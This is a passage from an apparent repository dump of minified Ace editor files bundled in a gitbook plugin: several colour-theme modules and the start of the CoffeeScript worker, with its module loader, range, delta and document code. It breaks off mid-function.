.ace_constant.ace_language,.ace-tomorrow-night-blue .ace_constant.ace_numeric,.ace-tomorrow-night-blue .ace_keyword.ace_other.ace_unit,.ace-tomorrow-night-blue .ace_support.ace_constant,.ace-tomorrow-night-blue .ace_variable.ace_parameter {color: #FFC58F}.ace-tomorrow-night-blue .ace_invalid {color: #FFFFFF;background-color: #F99DA5}.ace-tomorrow-night-blue .ace_invalid.ace_deprecated {color: #FFFFFF;background-color: #EBBBFF}.ace-tomorrow-night-blue .ace_fold {background-color: #BBDAFF;border-color: #FFFFFF}.ace-tomorrow-night-blue .ace_entity.ace_name.ace_function,.ace-tomorrow-night-blue .ace_support.ace_function,.ace-tomorrow-night-blue .ace_variable {color: #BBDAFF}.ace-tomorrow-night-blue .ace_support.ace_class,.ace-tomorrow-night-blue .ace_support.ace_type {color: #FFEEAD}.ace-tomorrow-night-blue .ace_heading,.ace-tomorrow-night-blue .ace_markup.ace_heading,.ace-tomorrow-night-blue .ace_string {color: #D1F1A9}.ace-tomorrow-night-blue .ace_entity.ace_name.ace_tag,.ace-tomorrow-night-blue .ace_entity.ace_other.ace_attribute-name,.ace-tomorrow-night-blue .ace_meta.ace_tag,.ace-tomorrow-night-blue .ace_string.ace_regexp,.ace-tomorrow-night-blue .ace_variable {color: #FF9DA4}.ace-tomorrow-night-blue .ace_comment {color: #7285B7}.ace-tomorrow-night-blue .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNgYGBgYJDzqfwPAANXAeNsiA+ZAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-tomorrow_night_bright.js",
    "content": "define(\"ace/theme/tomorrow_night_bright\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-tomorrow-night-bright\",t.cssText=\".ace-tomorrow-night-bright .ace_gutter {background: #1a1a1a;color: #DEDEDE}.ace-tomorrow-night-bright .ace_print-margin {width: 1px;background: #1a1a1a}.ace-tomorrow-night-bright {background-color: #000000;color: #DEDEDE}.ace-tomorrow-night-bright .ace_cursor {color: #9F9F9F}.ace-tomorrow-night-bright .ace_marker-layer .ace_selection {background: #424242}.ace-tomorrow-night-bright.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #000000;}.ace-tomorrow-night-bright .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-tomorrow-night-bright .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #888888}.ace-tomorrow-night-bright .ace_marker-layer .ace_highlight {border: 1px solid rgb(110, 119, 0);border-bottom: 0;box-shadow: inset 0 -1px rgb(110, 119, 0);margin: -1px 0 0 -1px;background: rgba(255, 235, 0, 0.1)}.ace-tomorrow-night-bright .ace_marker-layer .ace_active-line {background: #2A2A2A}.ace-tomorrow-night-bright .ace_gutter-active-line {background-color: #2A2A2A}.ace-tomorrow-night-bright .ace_stack {background-color: rgb(66, 90, 44)}.ace-tomorrow-night-bright .ace_marker-layer .ace_selected-word {border: 1px solid #888888}.ace-tomorrow-night-bright .ace_invisible {color: #343434}.ace-tomorrow-night-bright .ace_keyword,.ace-tomorrow-night-bright .ace_meta,.ace-tomorrow-night-bright .ace_storage,.ace-tomorrow-night-bright .ace_storage.ace_type,.ace-tomorrow-night-bright .ace_support.ace_type {color: #C397D8}.ace-tomorrow-night-bright .ace_keyword.ace_operator {color: #70C0B1}.ace-tomorrow-night-bright .ace_constant.ace_character,.ace-tomorrow-night-bright .ace_constant.ace_language,.ace-tomorrow-night-bright .ace_constant.ace_numeric,.ace-tomorrow-night-bright .ace_keyword.ace_other.ace_unit,.ace-tomorrow-night-bright .ace_support.ace_constant,.ace-tomorrow-night-bright .ace_variable.ace_parameter {color: #E78C45}.ace-tomorrow-night-bright .ace_constant.ace_other {color: #EEEEEE}.ace-tomorrow-night-bright .ace_invalid {color: #CED2CF;background-color: #DF5F5F}.ace-tomorrow-night-bright .ace_invalid.ace_deprecated {color: #CED2CF;background-color: #B798BF}.ace-tomorrow-night-bright .ace_fold {background-color: #7AA6DA;border-color: #DEDEDE}.ace-tomorrow-night-bright .ace_entity.ace_name.ace_function,.ace-tomorrow-night-bright .ace_support.ace_function,.ace-tomorrow-night-bright .ace_variable {color: #7AA6DA}.ace-tomorrow-night-bright .ace_support.ace_class,.ace-tomorrow-night-bright .ace_support.ace_type {color: #E7C547}.ace-tomorrow-night-bright .ace_heading,.ace-tomorrow-night-bright .ace_markup.ace_heading,.ace-tomorrow-night-bright .ace_string {color: #B9CA4A}.ace-tomorrow-night-bright .ace_entity.ace_name.ace_tag,.ace-tomorrow-night-bright .ace_entity.ace_other.ace_attribute-name,.ace-tomorrow-night-bright .ace_meta.ace_tag,.ace-tomorrow-night-bright .ace_string.ace_regexp,.ace-tomorrow-night-bright .ace_variable {color: #D54E53}.ace-tomorrow-night-bright .ace_comment {color: #969896}.ace-tomorrow-night-bright .ace_c9searchresults.ace_keyword {color: #C2C280}.ace-tomorrow-night-bright .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNgYGBgYFBXV/8PAAJoAXX4kT2EAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-tomorrow_night_eighties.js",
    "content": "define(\"ace/theme/tomorrow_night_eighties\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-tomorrow-night-eighties\",t.cssText=\".ace-tomorrow-night-eighties .ace_gutter {background: #272727;color: #CCC}.ace-tomorrow-night-eighties .ace_print-margin {width: 1px;background: #272727}.ace-tomorrow-night-eighties {background-color: #2D2D2D;color: #CCCCCC}.ace-tomorrow-night-eighties .ace_constant.ace_other,.ace-tomorrow-night-eighties .ace_cursor {color: #CCCCCC}.ace-tomorrow-night-eighties .ace_marker-layer .ace_selection {background: #515151}.ace-tomorrow-night-eighties.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #2D2D2D;}.ace-tomorrow-night-eighties .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-tomorrow-night-eighties .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #6A6A6A}.ace-tomorrow-night-bright .ace_stack {background: rgb(66, 90, 44)}.ace-tomorrow-night-eighties .ace_marker-layer .ace_active-line {background: #393939}.ace-tomorrow-night-eighties .ace_gutter-active-line {background-color: #393939}.ace-tomorrow-night-eighties .ace_marker-layer .ace_selected-word {border: 1px solid #515151}.ace-tomorrow-night-eighties .ace_invisible {color: #6A6A6A}.ace-tomorrow-night-eighties .ace_keyword,.ace-tomorrow-night-eighties .ace_meta,.ace-tomorrow-night-eighties .ace_storage,.ace-tomorrow-night-eighties .ace_storage.ace_type,.ace-tomorrow-night-eighties .ace_support.ace_type {color: #CC99CC}.ace-tomorrow-night-eighties .ace_keyword.ace_operator {color: #66CCCC}.ace-tomorrow-night-eighties .ace_constant.ace_character,.ace-tomorrow-night-eighties .ace_constant.ace_language,.ace-tomorrow-night-eighties .ace_constant.ace_numeric,.ace-tomorrow-night-eighties .ace_keyword.ace_other.ace_unit,.ace-tomorrow-night-eighties .ace_support.ace_constant,.ace-tomorrow-night-eighties .ace_variable.ace_parameter {color: #F99157}.ace-tomorrow-night-eighties .ace_invalid {color: #CDCDCD;background-color: #F2777A}.ace-tomorrow-night-eighties .ace_invalid.ace_deprecated {color: #CDCDCD;background-color: #CC99CC}.ace-tomorrow-night-eighties .ace_fold {background-color: #6699CC;border-color: #CCCCCC}.ace-tomorrow-night-eighties .ace_entity.ace_name.ace_function,.ace-tomorrow-night-eighties .ace_support.ace_function,.ace-tomorrow-night-eighties .ace_variable {color: #6699CC}.ace-tomorrow-night-eighties .ace_support.ace_class,.ace-tomorrow-night-eighties .ace_support.ace_type {color: #FFCC66}.ace-tomorrow-night-eighties .ace_heading,.ace-tomorrow-night-eighties .ace_markup.ace_heading,.ace-tomorrow-night-eighties .ace_string {color: #99CC99}.ace-tomorrow-night-eighties .ace_comment {color: #999999}.ace-tomorrow-night-eighties .ace_entity.ace_name.ace_tag,.ace-tomorrow-night-eighties .ace_entity.ace_other.ace_attribute-name,.ace-tomorrow-night-eighties .ace_meta.ace_tag,.ace-tomorrow-night-eighties .ace_variable {color: #F2777A}.ace-tomorrow-night-eighties .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWPQ09NrYAgMjP4PAAtGAwchHMyAAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-twilight.js",
    "content": "define(\"ace/theme/twilight\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-twilight\",t.cssText=\".ace-twilight .ace_gutter {background: #232323;color: #E2E2E2}.ace-twilight .ace_print-margin {width: 1px;background: #232323}.ace-twilight {background-color: #141414;color: #F8F8F8}.ace-twilight .ace_cursor {color: #A7A7A7}.ace-twilight .ace_marker-layer .ace_selection {background: rgba(221, 240, 255, 0.20)}.ace-twilight.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #141414;}.ace-twilight .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-twilight .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgba(255, 255, 255, 0.25)}.ace-twilight .ace_marker-layer .ace_active-line {background: rgba(255, 255, 255, 0.031)}.ace-twilight .ace_gutter-active-line {background-color: rgba(255, 255, 255, 0.031)}.ace-twilight .ace_marker-layer .ace_selected-word {border: 1px solid rgba(221, 240, 255, 0.20)}.ace-twilight .ace_invisible {color: rgba(255, 255, 255, 0.25)}.ace-twilight .ace_keyword,.ace-twilight .ace_meta {color: #CDA869}.ace-twilight .ace_constant,.ace-twilight .ace_constant.ace_character,.ace-twilight .ace_constant.ace_character.ace_escape,.ace-twilight .ace_constant.ace_other,.ace-twilight .ace_heading,.ace-twilight .ace_markup.ace_heading,.ace-twilight .ace_support.ace_constant {color: #CF6A4C}.ace-twilight .ace_invalid.ace_illegal {color: #F8F8F8;background-color: rgba(86, 45, 86, 0.75)}.ace-twilight .ace_invalid.ace_deprecated {text-decoration: underline;font-style: italic;color: #D2A8A1}.ace-twilight .ace_support {color: #9B859D}.ace-twilight .ace_fold {background-color: #AC885B;border-color: #F8F8F8}.ace-twilight .ace_support.ace_function {color: #DAD085}.ace-twilight .ace_list,.ace-twilight .ace_markup.ace_list,.ace-twilight .ace_storage {color: #F9EE98}.ace-twilight .ace_entity.ace_name.ace_function,.ace-twilight .ace_meta.ace_tag,.ace-twilight .ace_variable {color: #AC885B}.ace-twilight .ace_string {color: #8F9D6A}.ace-twilight .ace_string.ace_regexp {color: #E9C062}.ace-twilight .ace_comment {font-style: italic;color: #5F5A60}.ace-twilight .ace_variable {color: #7587A6}.ace-twilight .ace_xml-pe {color: #494949}.ace-twilight .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWMQERFpYLC1tf0PAAgOAnPnhxyiAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-vibrant_ink.js",
    "content": "define(\"ace/theme/vibrant_ink\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-vibrant-ink\",t.cssText=\".ace-vibrant-ink .ace_gutter {background: #1a1a1a;color: #BEBEBE}.ace-vibrant-ink .ace_print-margin {width: 1px;background: #1a1a1a}.ace-vibrant-ink {background-color: #0F0F0F;color: #FFFFFF}.ace-vibrant-ink .ace_cursor {color: #FFFFFF}.ace-vibrant-ink .ace_marker-layer .ace_selection {background: #6699CC}.ace-vibrant-ink.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #0F0F0F;}.ace-vibrant-ink .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-vibrant-ink .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #404040}.ace-vibrant-ink .ace_marker-layer .ace_active-line {background: #333333}.ace-vibrant-ink .ace_gutter-active-line {background-color: #333333}.ace-vibrant-ink .ace_marker-layer .ace_selected-word {border: 1px solid #6699CC}.ace-vibrant-ink .ace_invisible {color: #404040}.ace-vibrant-ink .ace_keyword,.ace-vibrant-ink .ace_meta {color: #FF6600}.ace-vibrant-ink .ace_constant,.ace-vibrant-ink .ace_constant.ace_character,.ace-vibrant-ink .ace_constant.ace_character.ace_escape,.ace-vibrant-ink .ace_constant.ace_other {color: #339999}.ace-vibrant-ink .ace_constant.ace_numeric {color: #99CC99}.ace-vibrant-ink .ace_invalid,.ace-vibrant-ink .ace_invalid.ace_deprecated {color: #CCFF33;background-color: #000000}.ace-vibrant-ink .ace_fold {background-color: #FFCC00;border-color: #FFFFFF}.ace-vibrant-ink .ace_entity.ace_name.ace_function,.ace-vibrant-ink .ace_support.ace_function,.ace-vibrant-ink .ace_variable {color: #FFCC00}.ace-vibrant-ink .ace_variable.ace_parameter {font-style: italic}.ace-vibrant-ink .ace_string {color: #66FF00}.ace-vibrant-ink .ace_string.ace_regexp {color: #44B4CC}.ace-vibrant-ink .ace_comment {color: #9933CC}.ace-vibrant-ink .ace_entity.ace_other.ace_attribute-name {font-style: italic;color: #99CC99}.ace-vibrant-ink .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNgYGBgYNDTc/oPAALPAZ7hxlbYAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-xcode.js",
    "content": "define(\"ace/theme/xcode\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!1,t.cssClass=\"ace-xcode\",t.cssText=\".ace-xcode .ace_gutter {background: #e8e8e8;color: #333}.ace-xcode .ace_print-margin {width: 1px;background: #e8e8e8}.ace-xcode {background-color: #FFFFFF;color: #000000}.ace-xcode .ace_cursor {color: #000000}.ace-xcode .ace_marker-layer .ace_selection {background: #B5D5FF}.ace-xcode.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #FFFFFF;}.ace-xcode .ace_marker-layer .ace_step {background: rgb(198, 219, 174)}.ace-xcode .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #BFBFBF}.ace-xcode .ace_marker-layer .ace_active-line {background: rgba(0, 0, 0, 0.071)}.ace-xcode .ace_gutter-active-line {background-color: rgba(0, 0, 0, 0.071)}.ace-xcode .ace_marker-layer .ace_selected-word {border: 1px solid #B5D5FF}.ace-xcode .ace_constant.ace_language,.ace-xcode .ace_keyword,.ace-xcode .ace_meta,.ace-xcode .ace_variable.ace_language {color: #C800A4}.ace-xcode .ace_invisible {color: #BFBFBF}.ace-xcode .ace_constant.ace_character,.ace-xcode .ace_constant.ace_other {color: #275A5E}.ace-xcode .ace_constant.ace_numeric {color: #3A00DC}.ace-xcode .ace_entity.ace_other.ace_attribute-name,.ace-xcode .ace_support.ace_constant,.ace-xcode .ace_support.ace_function {color: #450084}.ace-xcode .ace_fold {background-color: #C800A4;border-color: #000000}.ace-xcode .ace_entity.ace_name.ace_tag,.ace-xcode .ace_support.ace_class,.ace-xcode .ace_support.ace_type {color: #790EAD}.ace-xcode .ace_storage {color: #C900A4}.ace-xcode .ace_string {color: #DF0002}.ace-xcode .ace_comment {color: #008E00}.ace-xcode .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/worker-coffee.js",
    "content": "\"no use strict\";(function(e){function t(e,t){var n=e,r=\"\";while(n){var i=t[n];if(typeof i==\"string\")return i+r;if(i)return i.location.replace(/\\/*$/,\"/\")+(r||i.main||i.name);if(i===!1)return\"\";var s=n.lastIndexOf(\"/\");if(s===-1)break;r=n.substr(s)+r,n=n.slice(0,s)}return e}if(typeof e.window!=\"undefined\"&&e.document)return;if(e.require&&e.define)return;e.console||(e.console=function(){var e=Array.prototype.slice.call(arguments,0);postMessage({type:\"log\",data:e})},e.console.error=e.console.warn=e.console.log=e.console.trace=e.console),e.window=e,e.ace=e,e.onerror=function(e,t,n,r,i){postMessage({type:\"error\",data:{message:e,data:i.data,file:t,line:n,col:r,stack:i.stack}})},e.normalizeModule=function(t,n){if(n.indexOf(\"!\")!==-1){var r=n.split(\"!\");return e.normalizeModule(t,r[0])+\"!\"+e.normalizeModule(t,r[1])}if(n.charAt(0)==\".\"){var i=t.split(\"/\").slice(0,-1).join(\"/\");n=(i?i+\"/\":\"\")+n;while(n.indexOf(\".\")!==-1&&s!=n){var s=n;n=n.replace(/^\\.\\//,\"\").replace(/\\/\\.\\//,\"/\").replace(/[^\\/]+\\/\\.\\.\\//,\"\")}}return n},e.require=function(r,i){i||(i=r,r=null);if(!i.charAt)throw new Error(\"worker.js require() accepts only (parentId, id) as arguments\");i=e.normalizeModule(r,i);var s=e.require.modules[i];if(s)return s.initialized||(s.initialized=!0,s.exports=s.factory().exports),s.exports;if(!e.require.tlns)return console.log(\"unable to load \"+i);var o=t(i,e.require.tlns);return o.slice(-3)!=\".js\"&&(o+=\".js\"),e.require.id=i,e.require.modules[i]={},importScripts(o),e.require(r,i)},e.require.modules={},e.require.tlns={},e.define=function(t,n,r){arguments.length==2?(r=n,typeof t!=\"string\"&&(n=t,t=e.require.id)):arguments.length==1&&(r=t,n=[],t=e.require.id);if(typeof r!=\"function\"){e.require.modules[t]={exports:r,initialized:!0};return}n.length||(n=[\"require\",\"exports\",\"module\"]);var i=function(n){return e.require(t,n)};e.require.modules[t]={exports:{},factory:function(){var e=this,t=r.apply(this,n.map(function(t){switch(t){case\"require\":return i;case\"exports\":return e.exports;case\"module\":return e;default:return i(t)}}));return t&&(e.exports=t),e}}},e.define.amd={},require.tlns={},e.initBaseUrls=function(t){for(var n in t)require.tlns[n]=t[n]},e.initSender=function(){var n=e.require(\"ace/lib/event_emitter\").EventEmitter,r=e.require(\"ace/lib/oop\"),i=function(){};return function(){r.implement(this,n),this.callback=function(e,t){postMessage({type:\"call\",id:t,data:e})},this.emit=function(e,t){postMessage({type:\"event\",name:e,data:t})}}.call(i.prototype),new i};var n=e.main=null,r=e.sender=null;e.onmessage=function(t){var i=t.data;if(i.event&&r)r._signal(i.event,i.data);else if(i.command)if(n[i.command])n[i.command].apply(n,i.args);else{if(!e[i.command])throw new Error(\"Unknown command:\"+i.command);e[i.command].apply(e,i.args)}else if(i.init){e.initBaseUrls(i.tlns),require(\"ace/lib/es5-shim\"),r=e.sender=e.initSender();var s=require(i.module)[i.classname];n=e.main=new s(r)}}})(this),define(\"ace/lib/oop\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.inherits=function(e,t){e.super_=t,e.prototype=Object.create(t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}})},t.mixin=function(e,t){for(var n in t)e[n]=t[n];return e},t.implement=function(e,n){t.mixin(e,n)}}),define(\"ace/range\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=function(e,t){return e.row-t.row||e.column-t.column},i=function(e,t,n,r){this.start={row:e,column:t},this.end={row:n,column:r}};(function(){this.isEqual=function(e){return this.start.row===e.start.row&&this.end.row===e.end.row&&this.start.column===e.start.column&&this.end.column===e.end.column},this.toString=function(){return\"Range: [\"+this.start.row+\"/\"+this.start.column+\"] -> [\"+this.end.row+\"/\"+this.end.column+\"]\"},this.contains=function(e,t){return this.compare(e,t)==0},this.compareRange=function(e){var t,n=e.end,r=e.start;return t=this.compare(n.row,n.column),t==1?(t=this.compare(r.row,r.column),t==1?2:t==0?1:0):t==-1?-2:(t=this.compare(r.row,r.column),t==-1?-1:t==1?42:0)},this.comparePoint=function(e){return this.compare(e.row,e.column)},this.containsRange=function(e){return this.comparePoint(e.start)==0&&this.comparePoint(e.end)==0},this.intersects=function(e){var t=this.compareRange(e);return t==-1||t==0||t==1},this.isEnd=function(e,t){return this.end.row==e&&this.end.column==t},this.isStart=function(e,t){return this.start.row==e&&this.start.column==t},this.setStart=function(e,t){typeof e==\"object\"?(this.start.column=e.column,this.start.row=e.row):(this.start.row=e,this.start.column=t)},this.setEnd=function(e,t){typeof e==\"object\"?(this.end.column=e.column,this.end.row=e.row):(this.end.row=e,this.end.column=t)},this.inside=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)||this.isStart(e,t)?!1:!0:!1},this.insideStart=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)?!1:!0:!1},this.insideEnd=function(e,t){return this.compare(e,t)==0?this.isStart(e,t)?!1:!0:!1},this.compare=function(e,t){return!this.isMultiLine()&&e===this.start.row?t<this.start.column?-1:t>this.end.column?1:0:e<this.start.row?-1:e>this.end.row?1:this.start.row===e?t>=this.start.column?0:-1:this.end.row===e?t<=this.end.column?0:1:0},this.compareStart=function(e,t){return this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.compareEnd=function(e,t){return this.end.row==e&&this.end.column==t?1:this.compare(e,t)},this.compareInside=function(e,t){return this.end.row==e&&this.end.column==t?1:this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.clipRows=function(e,t){if(this.end.row>t)var n={row:t+1,column:0};else if(this.end.row<e)var n={row:e,column:0};if(this.start.row>t)var r={row:t+1,column:0};else if(this.start.row<e)var r={row:e,column:0};return i.fromPoints(r||this.start,n||this.end)},this.extend=function(e,t){var n=this.compare(e,t);if(n==0)return this;if(n==-1)var r={row:e,column:t};else var s={row:e,column:t};return i.fromPoints(r||this.start,s||this.end)},this.isEmpty=function(){return this.start.row===this.end.row&&this.start.column===this.end.column},this.isMultiLine=function(){return this.start.row!==this.end.row},this.clone=function(){return i.fromPoints(this.start,this.end)},this.collapseRows=function(){return this.end.column==0?new i(this.start.row,0,Math.max(this.start.row,this.end.row-1),0):new i(this.start.row,0,this.end.row,0)},this.toScreenRange=function(e){var t=e.documentToScreenPosition(this.start),n=e.documentToScreenPosition(this.end);return new i(t.row,t.column,n.row,n.column)},this.moveBy=function(e,t){this.start.row+=e,this.start.column+=t,this.end.row+=e,this.end.column+=t}}).call(i.prototype),i.fromPoints=function(e,t){return new i(e.row,e.column,t.row,t.column)},i.comparePoints=r,i.comparePoints=function(e,t){return e.row-t.row||e.column-t.column},t.Range=i}),define(\"ace/apply_delta\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function r(e,t){throw console.log(\"Invalid Delta:\",e),\"Invalid Delta: \"+t}function i(e,t){return t.row>=0&&t.row<e.length&&t.column>=0&&t.column<=e[t.row].length}function s(e,t){t.action!=\"insert\"&&t.action!=\"remove\"&&r(t,\"delta.action must be 'insert' or 'remove'\"),t.lines instanceof Array||r(t,\"delta.lines must be an Array\"),(!t.start||!t.end)&&r(t,\"delta.start/end must be an present\");var n=t.start;i(e,t.start)||r(t,\"delta.start must be contained in document\");var s=t.end;t.action==\"remove\"&&!i(e,s)&&r(t,\"delta.end must contained in document for 'remove' actions\");var o=s.row-n.row,u=s.column-(o==0?n.column:0);(o!=t.lines.length-1||t.lines[o].length!=u)&&r(t,\"delta.range must match delta lines\")}t.applyDelta=function(e,t,n){var r=t.start.row,i=t.start.column,s=e[r]||\"\";switch(t.action){case\"insert\":var o=t.lines;if(o.length===1)e[r]=s.substring(0,i)+t.lines[0]+s.substring(i);else{var u=[r,1].concat(t.lines);e.splice.apply(e,u),e[r]=s.substring(0,i)+e[r],e[r+t.lines.length-1]+=s.substring(i)}break;case\"remove\":var a=t.end.column,f=t.end.row;r===f?e[r]=s.substring(0,i)+s.substring(a):e.splice(r,f-r+1,s.substring(0,i)+e[f].substring(a))}}}),define(\"ace/lib/event_emitter\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={},i=function(){this.propagationStopped=!0},s=function(){this.defaultPrevented=!0};r._emit=r._dispatchEvent=function(e,t){this._eventRegistry||(this._eventRegistry={}),this._defaultHandlers||(this._defaultHandlers={});var n=this._eventRegistry[e]||[],r=this._defaultHandlers[e];if(!n.length&&!r)return;if(typeof t!=\"object\"||!t)t={};t.type||(t.type=e),t.stopPropagation||(t.stopPropagation=i),t.preventDefault||(t.preventDefault=s),n=n.slice();for(var o=0;o<n.length;o++){n[o](t,this);if(t.propagationStopped)break}if(r&&!t.defaultPrevented)return r(t,this)},r._signal=function(e,t){var n=(this._eventRegistry||{})[e];if(!n)return;n=n.slice();for(var r=0;r<n.length;r++)n[r](t,this)},r.once=function(e,t){var n=this;t&&this.addEventListener(e,function r(){n.removeEventListener(e,r),t.apply(null,arguments)})},r.setDefaultHandler=function(e,t){var n=this._defaultHandlers;n||(n=this._defaultHandlers={_disabled_:{}});if(n[e]){var r=n[e],i=n._disabled_[e];i||(n._disabled_[e]=i=[]),i.push(r);var s=i.indexOf(t);s!=-1&&i.splice(s,1)}n[e]=t},r.removeDefaultHandler=function(e,t){var n=this._defaultHandlers;if(!n)return;var r=n._disabled_[e];if(n[e]==t){var i=n[e];r&&this.setDefaultHandler(e,r.pop())}else if(r){var s=r.indexOf(t);s!=-1&&r.splice(s,1)}},r.on=r.addEventListener=function(e,t,n){this._eventRegistry=this._eventRegistry||{};var r=this._eventRegistry[e];return r||(r=this._eventRegistry[e]=[]),r.indexOf(t)==-1&&r[n?\"unshift\":\"push\"](t),t},r.off=r.removeListener=r.removeEventListener=function(e,t){this._eventRegistry=this._eventRegistry||{};var n=this._eventRegistry[e];if(!n)return;var r=n.indexOf(t);r!==-1&&n.splice(r,1)},r.removeAllListeners=function(e){this._eventRegistry&&(this._eventRegistry[e]=[])},t.EventEmitter=r}),define(\"ace/anchor\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/event_emitter\").EventEmitter,s=t.Anchor=function(e,t,n){this.$onChange=this.onChange.bind(this),this.attach(e),typeof n==\"undefined\"?this.setPosition(t.row,t.column):this.setPosition(t,n)};(function(){function e(e,t,n){var r=n?e.column<=t.column:e.column<t.column;return e.row<t.row||e.row==t.row&&r}function t(t,n,r){var i=t.action==\"insert\",s=(i?1:-1)*(t.end.row-t.start.row),o=(i?1:-1)*(t.end.column-t.start.column),u=t.start,a=i?u:t.end;return e(n,u,r)?{row:n.row,column:n.column}:e(a,n,!r)?{row:n.row+s,column:n.column+(n.row==a.row?o:0)}:{row:u.row,column:u.column}}r.implement(this,i),this.getPosition=function(){return this.$clipPositionToDocument(this.row,this.column)},this.getDocument=function(){return this.document},this.$insertRight=!1,this.onChange=function(e){if(e.start.row==e.end.row&&e.start.row!=this.row)return;if(e.start.row>this.row)return;var n=t(e,{row:this.row,column:this.column},this.$insertRight);this.setPosition(n.row,n.column,!0)},this.setPosition=function(e,t,n){var r;n?r={row:e,column:t}:r=this.$clipPositionToDocument(e,t);if(this.row==r.row&&this.column==r.column)return;var i={row:this.row,column:this.column};this.row=r.row,this.column=r.column,this._signal(\"change\",{old:i,value:r})},this.detach=function(){this.document.removeEventListener(\"change\",this.$onChange)},this.attach=function(e){this.document=e||this.document,this.document.on(\"change\",this.$onChange)},this.$clipPositionToDocument=function(e,t){var n={};return e>=this.document.getLength()?(n.row=Math.max(0,this.document.getLength()-1),n.column=this.document.getLine(n.row).length):e<0?(n.row=0,n.column=0):(n.row=e,n.column=Math.min(this.document.getLine(n.row).length,Math.max(0,t))),t<0&&(n.column=0),n}}).call(s.prototype)}),define(\"ace/document\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/apply_delta\",\"ace/lib/event_emitter\",\"ace/range\",\"ace/anchor\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./apply_delta\").applyDelta,s=e(\"./lib/event_emitter\").EventEmitter,o=e(\"./range\").Range,u=e(\"./anchor\").Anchor,a=function(e){this.$lines=[\"\"],e.length===0?this.$lines=[\"\"]:Array.isArray(e)?this.insertMergedLines({row:0,column:0},e):this.insert({row:0,column:0},e)};(function(){r.implement(this,s),this.setValue=function(e){var t=this.getLength()-1;this.remove(new o(0,0,t,this.getLine(t).length)),this.insert({row:0,column:0},e)},this.getValue=function(){return this.getAllLines().join(this.getNewLineCharacter())},this.createAnchor=function(e,t){return new u(this,e,t)},\"aaa\".split(/a/).length===0?this.$split=function(e){return e.replace(/\\r\\n|\\r/g,\"\\n\").split(\"\\n\")}:this.$split=function(e){return e.split(/\\r\\n|\\r|\\n/)},this.$detectNewLine=function(e){var 